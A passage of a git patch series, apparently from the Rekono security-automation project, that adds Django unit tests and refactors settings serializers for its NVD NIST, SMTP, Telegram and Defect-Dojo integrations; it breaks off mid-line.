Sep 17 00:00:00 2001 From: Pablo Santiago Date: Mon, 4 Dec 2023 21:25:03 +0100 Subject: [PATCH 039/141] Unit tests for NVD NIST integration --- src/backend/framework/platforms.py | 4 +- src/backend/platforms/nvd_nist.py | 2 +- src/backend/tests/platforms/__init__.py | 0 src/backend/tests/platforms/mocks/__init__.py | 0 src/backend/tests/platforms/mocks/nvd_nist.py | 43 +++++++++++++++++ src/backend/tests/platforms/test_nvd_nist.py | 48 +++++++++++++++++++ src/backend/tests/test_findings.py | 5 +- 7 files changed, 96 insertions(+), 6 deletions(-) create mode 100644 src/backend/tests/platforms/__init__.py create mode 100644 src/backend/tests/platforms/mocks/__init__.py create mode 100644 src/backend/tests/platforms/mocks/nvd_nist.py create mode 100644 src/backend/tests/platforms/test_nvd_nist.py diff --git a/src/backend/framework/platforms.py b/src/backend/framework/platforms.py index 302942db3..e21b6c308 100644 --- a/src/backend/framework/platforms.py +++ b/src/backend/framework/platforms.py @@ -21,8 +21,10 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non class BaseIntegration(BasePlatform): + url = "" + def __init__(self) -> None: - self.session = self._create_session() + self.session = self._create_session(self.url) def _create_session(self, url: str) -> requests.Session: session = requests.Session() diff --git a/src/backend/platforms/nvd_nist.py b/src/backend/platforms/nvd_nist.py index 14a2c1c39..e0e4f74c2 100644 --- a/src/backend/platforms/nvd_nist.py +++ b/src/backend/platforms/nvd_nist.py @@ -53,7 +53,7 @@ def process_findings(self, execution: Execution, findings: List[Finding]) -> Non break finding.severity = [ k - for k, v in self.cvss_mapping + for k, v in self.cvss_mapping.items() if severity >= v[0] and severity < v[1] ][0] finding.reference = self.reference.format(cve=finding.cve) diff --git a/src/backend/tests/platforms/__init__.py b/src/backend/tests/platforms/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tests/platforms/mocks/__init__.py b/src/backend/tests/platforms/mocks/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tests/platforms/mocks/nvd_nist.py b/src/backend/tests/platforms/mocks/nvd_nist.py new file mode 100644 index 000000000..7d406af5d --- /dev/null +++ b/src/backend/tests/platforms/mocks/nvd_nist.py @@ -0,0 +1,43 @@ +from typing import Any, Dict + +success = { + "result": { + "CVE_Items": [ + { + "cve": { + "description": { + "description_data": [{"lang": "en", "value": "description"}] + }, + "problemtype": { + "problemtype_data": [{"description": [{"value": "CWE-200"}]}] + }, + } + } + ] + } +} + + +def _success(impact_value: Dict[str, Any]) -> Dict[str, Any]: + success["result"]["CVE_Items"][0]["impact"] = impact_value + return success + + +def success_cvss_3(*args: Any, **kwargs: Any) -> Dict[str, Any]: + return _success( + { + "baseMetricV3": {"cvssV3": {"baseScore": 9}}, + } + ) + + +def success_cvss_2(*args: Any, **kwargs: Any) -> Dict[str, Any]: + return _success( + { + "baseMetricV2": {"cvssV2": {"baseScore": 8}}, + } + ) + + +def not_found(*args: Any, **kwargs: Any) -> dict: + raise Exception("CVE not found") diff --git a/src/backend/tests/platforms/test_nvd_nist.py b/src/backend/tests/platforms/test_nvd_nist.py new file mode 100644 index 000000000..47cc4fa74 --- /dev/null +++ b/src/backend/tests/platforms/test_nvd_nist.py @@ -0,0 +1,48 @@ +from unittest import mock + +from findings.enums import Severity +from findings.models import Vulnerability +from platforms.nvd_nist import NvdNist +from tests.framework import RekonoTest +from tests.platforms.mocks.nvd_nist import not_found, success_cvss_2, success_cvss_3 + + +class NvdNistTest(RekonoTest): + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + self.vulnerability = Vulnerability.objects.create( + name="test", description="test", cve="CVE-2023-1111", severity=Severity.LOW + ) + self.vulnerability.executions.add(self.execution3) + self.nvd_nist = NvdNist() + + def _test( + self, + severity: Severity, + reference: str = None, + cwe: str = "CWE-200", + description: str = "description", + ) -> None: + self.nvd_nist.process_findings(self.execution3, [self.vulnerability]) + self.assertEqual(reference, self.vulnerability.reference) + self.assertEqual(cwe, self.vulnerability.cwe) + self.assertEqual(description, self.vulnerability.description) + self.assertEqual(severity, self.vulnerability.severity) + + @mock.patch("platforms.nvd_nist.NvdNist._request", success_cvss_3) + def test_integration_cvss_3(self) -> None: + self._test( + Severity.CRITICAL, + self.nvd_nist.reference.format(cve=self.vulnerability.cve), + ) + + @mock.patch("platforms.nvd_nist.NvdNist._request", success_cvss_2) + def test_integration_cvss_2(self) -> None: + self._test( + Severity.HIGH, self.nvd_nist.reference.format(cve=self.vulnerability.cve) + ) + + @mock.patch("platforms.nvd_nist.NvdNist._request", not_found) + def test_integration_not_found(self) -> None: + self._test(Severity.LOW, None, None, "test") diff --git a/src/backend/tests/test_findings.py b/src/backend/tests/test_findings.py index 95ff8162e..45e5d2a84 100644 --- a/src/backend/tests/test_findings.py +++ b/src/backend/tests/test_findings.py @@ -1,6 +1,6 @@ from typing import Any, Dict -from django.db import models, transaction +from django.db import models from executions.models import Execution from findings.enums import ( HostOS, @@ -23,11 +23,8 @@ ) from rest_framework.test import APIClient from targets.enums import TargetType -from targets.models import Target -from tasks.models import Task from tests.cases import ApiTestCase from tests.framework import ApiTest -from tools.models import Configuration findings = [ ( From 438d158b3764adaecb5f0141361be7da1a65e064 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Mon, 4 Dec 2023 21:57:17 +0100 Subject: [PATCH 040/141] Unit tests for SMTP settings API --- src/backend/platforms/mail/serializers.py | 6 +- src/backend/platforms/mail/urls.py | 2 +- .../tests/platforms/test_smtp_settings.py | 76 +++++++++++++++++++ 3 files changed, 80 insertions(+), 4 deletions(-) create mode 100644 src/backend/tests/platforms/test_smtp_settings.py diff --git a/src/backend/platforms/mail/serializers.py b/src/backend/platforms/mail/serializers.py index 56d7eb3f9..bf9a61baa 100644 --- a/src/backend/platforms/mail/serializers.py +++ b/src/backend/platforms/mail/serializers.py @@ -12,11 +12,11 @@ class SMTPSettingsSerializer(ModelSerializer): allow_null=True, source="secret", ) - is_available = SerializerMethodField(method_name="is_available", read_only=True) + is_available = SerializerMethodField(read_only=True) class Meta: model = SMTPSettings - fields = ("id", "host", "port", "username", "password", "tls") + fields = ("id", "host", "port", "username", "password", "tls", "is_available") - def is_available(self, instance: SMTPSettings) -> bool: + def get_is_available(self, instance: SMTPSettings) -> bool: return SMTP().is_available() diff --git a/src/backend/platforms/mail/urls.py b/src/backend/platforms/mail/urls.py index d0fad2db8..72f4a81ce 100644 --- a/src/backend/platforms/mail/urls.py +++ b/src/backend/platforms/mail/urls.py @@ -4,6 +4,6 @@ # Register your views here. router = SimpleRouter() -router.register("smtp/settings", SMTPSettingsViewSet) +router.register("smtp", SMTPSettingsViewSet) urlpatterns = router.urls diff --git a/src/backend/tests/platforms/test_smtp_settings.py b/src/backend/tests/platforms/test_smtp_settings.py new file mode 100644 index 000000000..dac97ec99 --- /dev/null +++ b/src/backend/tests/platforms/test_smtp_settings.py @@ -0,0 +1,76 @@ +from typing import Any + +from platforms.mail.models import SMTPSettings +from tests.cases import ApiTestCase +from tests.framework import ApiTest + +config = { + "host": "smtp.rekono.com", + "port": 587, + "username": "rekono", + "password": "rekono", + "tls": True, +} +invalid_config = { + "host": "smtp;rekono.com", + "port": 999999, + "username": "reko;no", + "password": "re;kono", + "tls": True, +} + + +class SmtpSettingsTest(ApiTest): + endpoint = "/api/smtp/1/" + expected_str = f"{config['host']}:{config['port']}" + cases = [ + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={ + "id": 1, + "host": None, + "port": 587, + "username": None, + "password": None, + "tls": True, + "is_available": False, + }, + ), + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "put", 403, config), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_config), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + config, + expected={ + "id": 1, + **config, + "password": "*" * len(config["password"]), + "is_available": False, + }, + ), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={ + "id": 1, + **config, + "password": "*" * len(config["password"]), + "is_available": False, + }, + ), + ] + + def _get_object(self) -> Any: + settings = SMTPSettings.objects.get(pk=1) + config["secret"] = config.pop("password") + for field, value in config.items(): + setattr(settings, field, value) + config["_password"] = config.pop("secret") + settings.save(update_fields=config.keys()) + return settings From ea980aad2d84089793b925e738db6ab1d298728d Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Mon, 4 Dec 2023 22:06:55 +0100 Subject: [PATCH 041/141] Setup a timeout for the SMTP connection --- src/backend/platforms/mail/notifications.py | 1 + 1 file changed, 1 insertion(+) diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index 349e66a3d..72d8ca3ee 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -27,6 +27,7 @@ def __init__(self) -> None: username=self.settings.username, password=self.settings.secret, use_tls=self.settings.tls, + timeout=5, ) if self.settings else None From 0b9811918f2241d114f3082dbf5fd63ac3a36d16 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 5 Dec 2023 11:31:20 +0100 Subject: [PATCH 042/141] Unit tests for Telegram settings API --- src/backend/platforms/telegram_app/bot/bot.py | 4 +-- .../platforms/telegram_app/framework.py | 21 ++++++++++----- .../notifications/notifications.py | 3 ++- .../platforms/telegram_app/serializers.py | 10 +++---- .../tests/platforms/test_telegram_settings.py | 27 +++++++++++++++++++ 5 files changed, 50 insertions(+), 15 deletions(-) create mode 100644 src/backend/tests/platforms/test_telegram_settings.py diff --git a/src/backend/platforms/telegram_app/bot/bot.py b/src/backend/platforms/telegram_app/bot/bot.py index 5f52edb1f..6da0c1b6f 100644 --- a/src/backend/platforms/telegram_app/bot/bot.py +++ b/src/backend/platforms/telegram_app/bot/bot.py @@ -56,10 +56,10 @@ def _wait_for_token(self, sleep_time: int = 60) -> None: while not self.settings or not self.settings.secret: time.sleep(sleep_time) self.settings = TelegramSettings.objects.first() - self.app = self._get_app() + self.app = self.initialize() if not self.app or not self.app.updater or not self.app.bot: self.settings.secret = None - self.settings.save(update_fields=["secret"]) + self.settings.save(update_fields=["_token"]) self._wait_for_token(sleep_time) def deploy(self) -> None: diff --git a/src/backend/platforms/telegram_app/framework.py b/src/backend/platforms/telegram_app/framework.py index 85620c333..85f1a0f44 100644 --- a/src/backend/platforms/telegram_app/framework.py +++ b/src/backend/platforms/telegram_app/framework.py @@ -14,14 +14,17 @@ class BaseTelegram: def __init__(self, **kwargs: Any) -> None: self.settings = TelegramSettings.objects.first() - self.app = self._get_app() + self.app = self.initialize() self.date_format = "%Y-%m-%d %H:%M:%S" def initialize(self) -> None: - if not self.app or not self.app.bot: - self.app = self._get_app() + self.app = self._get_app() if self.app and self.app.bot: - asyncio.run(self.app.bot.initialize()) + try: + asyncio.run(self.app.bot.initialize()) + except (InvalidToken, Forbidden): + self._handle_invalid_token() + return self.app def get_bot_name(self) -> str: return self.app.bot.username if self.app and self.app.bot else None @@ -31,9 +34,7 @@ def _get_app(self) -> Any: try: return ApplicationBuilder().token(self.settings.secret).build() except (InvalidToken, Forbidden): - logger.error("[Telegram] Authentication error") - self.settings.secret = None - self.settings.save(update_fields=["token"]) + self._handle_invalid_token() except Exception: logger.error("[Telegram] Error creating updater") @@ -52,3 +53,9 @@ def _send_message( def _escape(self, value: str) -> str: return escape_markdown(value, version=2) + + def _handle_invalid_token(self) -> None: + logger.error("[Telegram] Authentication error") + self.settings.secret = None + self.settings.save(update_fields=["_token"]) + self.app = None diff --git a/src/backend/platforms/telegram_app/notifications/notifications.py b/src/backend/platforms/telegram_app/notifications/notifications.py index 9f8965aea..abbb141a4 100644 --- a/src/backend/platforms/telegram_app/notifications/notifications.py +++ b/src/backend/platforms/telegram_app/notifications/notifications.py @@ -13,7 +13,8 @@ class Telegram(BaseNotification, BaseTelegram): enable_field = "telegram_notifications" def is_available(self) -> bool: - return bool(self.app) + self.initialize() + return bool(self.settings.secret and self.app and self.app.bot) def _notify_execution( self, users: List[User], execution: Execution, findings: List[Finding] diff --git a/src/backend/platforms/telegram_app/serializers.py b/src/backend/platforms/telegram_app/serializers.py index 5d697df85..23764132a 100644 --- a/src/backend/platforms/telegram_app/serializers.py +++ b/src/backend/platforms/telegram_app/serializers.py @@ -21,19 +21,19 @@ class TelegramSettingsSerializer(ModelSerializer): required=True, source="secret", ) - bot = SerializerMethodField(method_name="get_bot_name", read_only=True) - is_available = SerializerMethodField(method_name="is_available", read_only=True) + bot = SerializerMethodField(read_only=True) + is_available = SerializerMethodField(read_only=True) class Meta: model = TelegramSettings - fields = ("id", "bot", "token") + fields = ("id", "token", "bot", "is_available") - def get_bot_name(self, instance: TelegramSettings) -> str: + def get_bot(self, instance: TelegramSettings) -> str: telegram = Telegram() telegram.initialize() return telegram.get_bot_name() - def is_available(self, instance: TelegramSettings) -> bool: + def get_is_available(self, instance: TelegramSettings) -> bool: return Telegram().is_available() diff --git a/src/backend/tests/platforms/test_telegram_settings.py b/src/backend/tests/platforms/test_telegram_settings.py new file mode 100644 index 000000000..2f002f4b5 --- /dev/null +++ b/src/backend/tests/platforms/test_telegram_settings.py @@ -0,0 +1,27 @@ +from tests.cases import ApiTestCase +from tests.framework import ApiTest + +token = {"token": "any_valid_telegram_token"} +invalid_token = {"token": "invalid;token"} +expected = {"id": 1, "bot": None, "is_available": False} + + +class TelegramSettingsTest(ApiTest): + endpoint = "/api/telegram/settings/1/" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=expected, + ), + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "put", 403, token), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_token), + ApiTestCase(["admin1", "admin2"], "put", 200, token, expected), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=expected, + ), + ] From 657b342dae88b7311d556bd78d4dfa1e0d304626 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 5 Dec 2023 12:00:21 +0100 Subject: [PATCH 043/141] Unit tests for Telegram chats API --- .../tests/platforms/test_telegram_chats.py | 84 +++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 src/backend/tests/platforms/test_telegram_chats.py diff --git a/src/backend/tests/platforms/test_telegram_chats.py b/src/backend/tests/platforms/test_telegram_chats.py new file mode 100644 index 000000000..9b6200049 --- /dev/null +++ b/src/backend/tests/platforms/test_telegram_chats.py @@ -0,0 +1,84 @@ +from typing import Any + +from platforms.telegram_app.models import TelegramChat +from tests.cases import ApiTestCase +from tests.framework import ApiTest +from users.models import User + + +class TelegramChatTest(ApiTest): + endpoint = "/api/telegram/link/" + expected_str = "admin1@rekono.com" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected={"telegram_chat": None}, + endpoint="/api/profile/", + ), + ] + + def test_link(self) -> None: + chat_id = 1 + users = [ + self.admin1, + self.admin2, + self.auditor1, + self.auditor2, + self.reader1, + self.reader2, + ] + for user in users: + otp = User.objects.generate_otp(TelegramChat) + chat = TelegramChat.objects.create( + otp=otp, + otp_expiration=User.objects.get_otp_expiration_time(), + chat_id=chat_id, + ) + ApiTestCase( + [user.username], "post", 401, {"otp": "invalid token"} + ).test_case(endpoint=self.endpoint) + ApiTestCase( + [user.username], + "post", + 201, + {"otp": otp}, + {"id": chat.id, "user": user.id}, + ).test_case(endpoint=self.endpoint) + ApiTestCase( + [user.username], + "get", + 200, + expected={ + "id": user.id, + "username": user.username, + "email": user.email, + "telegram_chat": chat.id, + }, + ).test_case(endpoint=self.profile) + chat_id += 1 + for index, user in enumerate(users): + for id in range(1, chat_id): + if id != index + 1: + ApiTestCase( + [user.username], "delete", 403, endpoint=f"{{endpoint}}{id}/" + ).test_case(endpoint=self.endpoint) + for index, user in enumerate(users): + ApiTestCase( + [user.username], "delete", 204, endpoint=f"{{endpoint}}{index + 1}/" + ).test_case(endpoint=self.endpoint) + ApiTestCase( + [user.username], + "get", + 200, + expected={ + "id": user.id, + "username": user.username, + "email": user.email, + "telegram_chat": None, + }, + ).test_case(endpoint=self.profile), + + def _get_object(self) -> Any: + return TelegramChat.objects.create(user=self.admin1, chat_id=1) From f62e5047694e7685b7220763837fdcb5efa88d85 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 5 Dec 2023 12:06:51 +0100 Subject: [PATCH 044/141] Improve Telegram chats coverage --- src/backend/tests/platforms/test_telegram_chats.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/src/backend/tests/platforms/test_telegram_chats.py b/src/backend/tests/platforms/test_telegram_chats.py index 9b6200049..05245bae8 100644 --- a/src/backend/tests/platforms/test_telegram_chats.py +++ b/src/backend/tests/platforms/test_telegram_chats.py @@ -36,6 +36,7 @@ def test_link(self) -> None: otp_expiration=User.objects.get_otp_expiration_time(), chat_id=chat_id, ) + self.assertFalse(chat.is_auditor()) ApiTestCase( [user.username], "post", 401, {"otp": "invalid token"} ).test_case(endpoint=self.endpoint) @@ -46,6 +47,10 @@ def test_link(self) -> None: {"otp": otp}, {"id": chat.id, "user": user.id}, ).test_case(endpoint=self.endpoint) + self.assertEqual( + user in [self.admin1, self.admin2, self.auditor1, self.auditor2], + TelegramChat.objects.get(pk=chat.id).is_auditor(), + ) ApiTestCase( [user.username], "get", From 5d0cee238975c708534feb81e4c2cc095048ed51 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 5 Dec 2023 15:02:43 +0100 Subject: [PATCH 045/141] Unit tests for Defect-Dojo settings API --- .../defect_dojo/fixtures/1_default.json | 2 - src/backend/platforms/defect_dojo/models.py | 9 +-- .../platforms/defect_dojo/serializers.py | 10 +-- .../platforms/test_defectdojo_settings.py | 63 +++++++++++++++++++ .../tests/platforms/test_smtp_settings.py | 30 ++++----- 5 files changed, 86 insertions(+), 28 deletions(-) create mode 100644 src/backend/tests/platforms/test_defectdojo_settings.py diff --git a/src/backend/platforms/defect_dojo/fixtures/1_default.json b/src/backend/platforms/defect_dojo/fixtures/1_default.json index 5fd26f1a1..9bb7b1f0d 100644 --- a/src/backend/platforms/defect_dojo/fixtures/1_default.json +++ b/src/backend/platforms/defect_dojo/fixtures/1_default.json @@ -7,8 +7,6 @@ "_api_token": null, "tls_validation": true, "tag": "rekono", - "product_type_id": null, - "product_type": "Rekono Project", "test_type_id": null, "test_type": "Rekono Findings Import", "test": "Rekono Execution", diff --git a/src/backend/platforms/defect_dojo/models.py b/src/backend/platforms/defect_dojo/models.py index 263ea9f72..4d94f3553 100644 --- a/src/backend/platforms/defect_dojo/models.py +++ b/src/backend/platforms/defect_dojo/models.py @@ -26,14 +26,7 @@ class DefectDojoSettings(BaseEncrypted): tag = models.TextField( max_length=200, validators=[Validator(Regex.NAME.value, code="tag")] ) - product_type_id = models.IntegerField( - validators=[MinValueValidator(1), MaxValueValidator(999999999)], - blank=True, - null=True, - ) - product_type = models.TextField( - max_length=200, validators=[Validator(Regex.NAME.value, code="product_type")] - ) + # Stores Test Type ID to avoid duplicated creation test_type_id = models.IntegerField( validators=[MinValueValidator(1), MaxValueValidator(999999999)], blank=True, diff --git a/src/backend/platforms/defect_dojo/serializers.py b/src/backend/platforms/defect_dojo/serializers.py index fbfaccdbf..7dd480d02 100644 --- a/src/backend/platforms/defect_dojo/serializers.py +++ b/src/backend/platforms/defect_dojo/serializers.py @@ -28,7 +28,7 @@ class DefectDojoSettingsSerializer(ModelSerializer): allow_null=True, source="secret", ) - is_available = SerializerMethodField(method_name="is_available", read_only=True) + is_available = SerializerMethodField(read_only=True) class Meta: model = DefectDojoSettings @@ -38,12 +38,12 @@ class Meta: "api_token", "tls_validation", "tag", - "product_type", "test_type", "test", + "is_available", ) - def is_available(self, instance: DefectDojoSettings) -> bool: + def get_is_available(self, instance: DefectDojoSettings) -> bool: return DefectDojo().is_available() @@ -62,7 +62,9 @@ class Meta: def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: attrs = super().validate() if not attrs.get("engagement_id") and not attrs.get("engagement_per_target"): - raise ValidationError("Engagement is required", code="engagement_id") + raise ValidationError( + "Engagement or engagement_per_target is required", code="engagement_id" + ) return attrs diff --git a/src/backend/tests/platforms/test_defectdojo_settings.py b/src/backend/tests/platforms/test_defectdojo_settings.py new file mode 100644 index 000000000..f27816f73 --- /dev/null +++ b/src/backend/tests/platforms/test_defectdojo_settings.py @@ -0,0 +1,63 @@ +from platforms.defect_dojo.models import DefectDojoSettings +from tests.cases import ApiTestCase +from tests.framework import ApiTest + +settings = { + "server": None, + "api_token": None, + "tls_validation": True, + "tag": "rekono", + "test_type": "Rekono Findings Import", + "test": "Rekono Execution", +} +new_settings = { + "server": "https://defectdojo.rekono.com", + "api_token": "any_valid_defectdojo_token", + "tls_validation": True, + "tag": "rekono", + "test_type": "Rekono", + "test": "Rekono", +} +invalid_settings = { + "server": "invalid server", + "api_token": "invalid;token", + "tls_validation": True, + "tag": "rek;ono", + "test_type": "Rek;ono", + "test": "Rek;ono", +} + + +class DefectDojoSettingsTest(ApiTest): + endpoint = "/api/defect-dojo/settings/1/" + cases = [ + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), + ApiTestCase(["admin1", "admin2"], "get", 200, expected={"id": 1, **settings}), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], "put", 403, new_settings + ), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_settings), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + new_settings, + expected={ + "id": 1, + **new_settings, + "api_token": "*" * len(new_settings["api_token"]), + "is_available": False, + }, + ), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={ + "id": 1, + **new_settings, + "api_token": "*" * len(new_settings["api_token"]), + "is_available": False, + }, + ), + ] diff --git a/src/backend/tests/platforms/test_smtp_settings.py b/src/backend/tests/platforms/test_smtp_settings.py index dac97ec99..fb8efd0c4 100644 --- a/src/backend/tests/platforms/test_smtp_settings.py +++ b/src/backend/tests/platforms/test_smtp_settings.py @@ -4,14 +4,14 @@ from tests.cases import ApiTestCase from tests.framework import ApiTest -config = { +settings = { "host": "smtp.rekono.com", "port": 587, "username": "rekono", "password": "rekono", "tls": True, } -invalid_config = { +invalid_settings = { "host": "smtp;rekono.com", "port": 999999, "username": "reko;no", @@ -22,7 +22,7 @@ class SmtpSettingsTest(ApiTest): endpoint = "/api/smtp/1/" - expected_str = f"{config['host']}:{config['port']}" + expected_str = f"{settings['host']}:{settings['port']}" cases = [ ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), ApiTestCase( @@ -39,17 +39,19 @@ class SmtpSettingsTest(ApiTest): "is_available": False, }, ), - ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "put", 403, config), - ApiTestCase(["admin1", "admin2"], "put", 400, invalid_config), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], "put", 403, settings + ), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_settings), ApiTestCase( ["admin1", "admin2"], "put", 200, - config, + settings, expected={ "id": 1, - **config, - "password": "*" * len(config["password"]), + **settings, + "password": "*" * len(settings["password"]), "is_available": False, }, ), @@ -59,8 +61,8 @@ class SmtpSettingsTest(ApiTest): 200, expected={ "id": 1, - **config, - "password": "*" * len(config["password"]), + **settings, + "password": "*" * len(settings["password"]), "is_available": False, }, ), @@ -68,9 +70,9 @@ class SmtpSettingsTest(ApiTest): def _get_object(self) -> Any: settings = SMTPSettings.objects.get(pk=1) - config["secret"] = config.pop("password") - for field, value in config.items(): + settings["secret"] = settings.pop("password") + for field, value in settings.items(): setattr(settings, field, value) - config["_password"] = config.pop("secret") - settings.save(update_fields=config.keys()) + settings["_password"] = settings.pop("secret") + settings.save(update_fields=settings.keys()) return settings From fa0013df353416456882ec48410e52e2cf65e279 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 5 Dec 2023 17:24:55 +0100 Subject: [PATCH 046/141] Unit tests for Defect-Dojo entities creation API --- .../platforms/defect_dojo/integrations.py | 17 +-- .../platforms/defect_dojo/serializers.py | 85 +++++++---- src/backend/platforms/defect_dojo/urls.py | 6 +- src/backend/platforms/defect_dojo/views.py | 5 + src/backend/tests/framework.py | 1 + .../tests/platforms/mocks/defect_dojo.py | 51 +++++++ .../tests/platforms/test_defectdojo.py | 139 ++++++++++++++++++ .../platforms/test_defectdojo_settings.py | 63 -------- .../{test_smtp_settings.py => test_smtp.py} | 0 ...est_telegram_chats.py => test_telegram.py} | 25 ++++ .../tests/platforms/test_telegram_settings.py | 27 ---- 11 files changed, 282 insertions(+), 137 deletions(-) create mode 100644 src/backend/tests/platforms/mocks/defect_dojo.py create mode 100644 src/backend/tests/platforms/test_defectdojo.py delete mode 100644 src/backend/tests/platforms/test_defectdojo_settings.py rename src/backend/tests/platforms/{test_smtp_settings.py => test_smtp.py} (100%) rename src/backend/tests/platforms/{test_telegram_chats.py => test_telegram.py} (78%) delete mode 100644 src/backend/tests/platforms/test_telegram_settings.py diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index 259950e7f..b05af6938 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -59,11 +59,8 @@ def is_available(self) -> bool: except: return False - def get_product_type(self, name: str) -> Dict[str, Any]: - search = self._request( - self.session.get, "/product_types/", params={"name": name} - ) - return search["results"][0] if search["results"] else None + def exists(self, entity_name: str, id: int) -> None: + self._request(self.session.get, f"/{entity_name}/{id}/") def create_product_type(self, name: str, description: str) -> Dict[str, Any]: return self._request( @@ -72,9 +69,6 @@ def create_product_type(self, name: str, description: str) -> Dict[str, Any]: data={"name": name, "description": description}, ) - def get_product(self, id: int) -> Dict[str, Any]: - return self._request(self.session.get, f"/products/{id}/") - def create_product( self, product_type: int, name: str, description: str, tags: List[str] ) -> Dict[str, Any]: @@ -89,9 +83,6 @@ def create_product( }, ) - def get_engagement(self, id: int) -> Dict[str, Any]: - return self._request(self.session.get, f"/engagements/{id}/") - def create_engagement( self, product: int, name: str, description: str, tags: List[str] ) -> Dict[str, Any]: @@ -112,10 +103,6 @@ def create_engagement( }, ) - def _get_test_type(self, name: str) -> Dict[str, Any]: - search = self._request(self.session.get, "/test_types/", params={"name": name}) - return search["results"][0] if search["results"] else None - def _create_test_type(self, name: str, tags: List[str]) -> Dict[str, Any]: return self._request( self.session.post, diff --git a/src/backend/platforms/defect_dojo/serializers.py b/src/backend/platforms/defect_dojo/serializers.py index 7dd480d02..b60af2177 100644 --- a/src/backend/platforms/defect_dojo/serializers.py +++ b/src/backend/platforms/defect_dojo/serializers.py @@ -15,6 +15,7 @@ CharField, IntegerField, ModelSerializer, + PrimaryKeyRelatedField, Serializer, SerializerMethodField, ) @@ -47,7 +48,24 @@ def get_is_available(self, instance: DefectDojoSettings) -> bool: return DefectDojo().is_available() -class DefectDojoSyncSerializer(ModelSerializer): +class BaseDefectDojoSerializer: + client = None + + def _get_client(self) -> DefectDojo: + if not self.client: + self.client = DefectDojo() + return self.client + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + if not self._get_client().is_available(): + raise ValidationError( + "Defect-Dojo integration hasn't been configured properly", + code="defect-dojo", + ) + return super().validate(attrs) + + +class DefectDojoSyncSerializer(ModelSerializer, BaseDefectDojoSerializer): class Meta: model = DefectDojoSync fields = ( @@ -60,11 +78,15 @@ class Meta: ) def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - attrs = super().validate() + attrs = super().validate(attrs) if not attrs.get("engagement_id") and not attrs.get("engagement_per_target"): raise ValidationError( "Engagement or engagement_per_target is required", code="engagement_id" ) + for entity in ["product_type", "product", "engagement"]: + id = attrs.get(f"{entity}_id") + if id: + self._get_client().exists(f"{entity}s", id) return attrs @@ -79,35 +101,21 @@ class Meta: ) -class BaseDefectDojoSerializer(Serializer): - client = None - - def _get_client(self) -> DefectDojo: - if not self.client: - self.client = DefectDojo() - return self.client - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - if not self._get_client().is_available(): - raise ValidationError( - "Defect-Dojo integration hasn't been configured properly", - code="defect-dojo", - ) - return super().validate(attrs) - - -class DefectDojoProductTypeSerializer(BaseDefectDojoSerializer): +class DefectDojoProductTypeSerializer(Serializer, BaseDefectDojoSerializer): + id = IntegerField(read_only=True) name = CharField( required=True, allow_blank=False, max_length=100, validators=[Validator(Regex.NAME.value, code="name")], + write_only=True, ) description = CharField( required=True, allow_blank=False, max_length=500, validators=[Validator(Regex.TEXT.value, code="description")], + write_only=True, ) def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: @@ -116,66 +124,85 @@ def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: ) -class DefectDojoProductSerializer(BaseDefectDojoSerializer): +class DefectDojoProductSerializer(Serializer, BaseDefectDojoSerializer): + id = IntegerField(read_only=True) product_type = IntegerField( required=True, validators=[MinValueValidator(1), MaxValueValidator(999999999)], + write_only=True, ) name = CharField( required=True, allow_blank=False, max_length=100, validators=[Validator(Regex.NAME.value, code="name")], + write_only=True, ) description = CharField( required=True, allow_blank=False, max_length=500, validators=[Validator(Regex.TEXT.value, code="description")], + write_only=True, ) - project_id = IntegerField( - required=True, validators=[MinValueValidator(1), MaxValueValidator(999999999)] + # Needed to add project tags to Defect-Dojo product + project_id = PrimaryKeyRelatedField( + required=True, + queryset=Project.objects.all(), + write_only=True, ) def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - get_object_or_404( + attrs = super().validate(attrs) + attrs["project"] = 